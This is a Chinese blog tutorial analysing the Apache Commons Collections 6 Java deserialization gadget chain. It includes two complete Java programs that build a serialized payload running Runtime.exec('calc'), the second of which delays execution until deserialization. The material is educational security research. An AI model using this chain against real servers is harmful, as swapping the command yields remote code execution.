CommonCollections6链分析

文章展示了如何通过ApacheCommonsCollections的ChainedTransformer和LazyMap创建一个恶意的反序列化链,目标是执行命令。初始尝试在put时触发了行为,通过修改LazyMap的工厂和移除特定键,成功延迟到反序列化时执行计算器命令。
摘要由CSDN通过智能技术生成

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错
在这里插入图片描述
能弹计算器 没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
TiedMapEntrygetValue()方法中调用了get() 其中mapkey都可控
在这里插入图片描述
在这里插入图片描述
那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
在这里插入图片描述

然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
HashMapreadObject方法会调用hashCode
在这里插入图片描述
在这里插入图片描述
至此链子结束 我们可以写出如下代码

package org.example.CC6;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"ccc");
        serialize(map2);
        unSerialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述
在这里插入图片描述
因为这里的key != null 所以继续进了hashCode
在这里插入图片描述
LazyMap调用get
在这里插入图片描述
然后没有key put进去了 在后面反序列化的时候就有key
key就直接return map.get(key)

为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry, "ccc");
        lazyMap.remove("xxx");
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);

        serialize(map2);
        unSerialize("ser.bin");
    }



    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值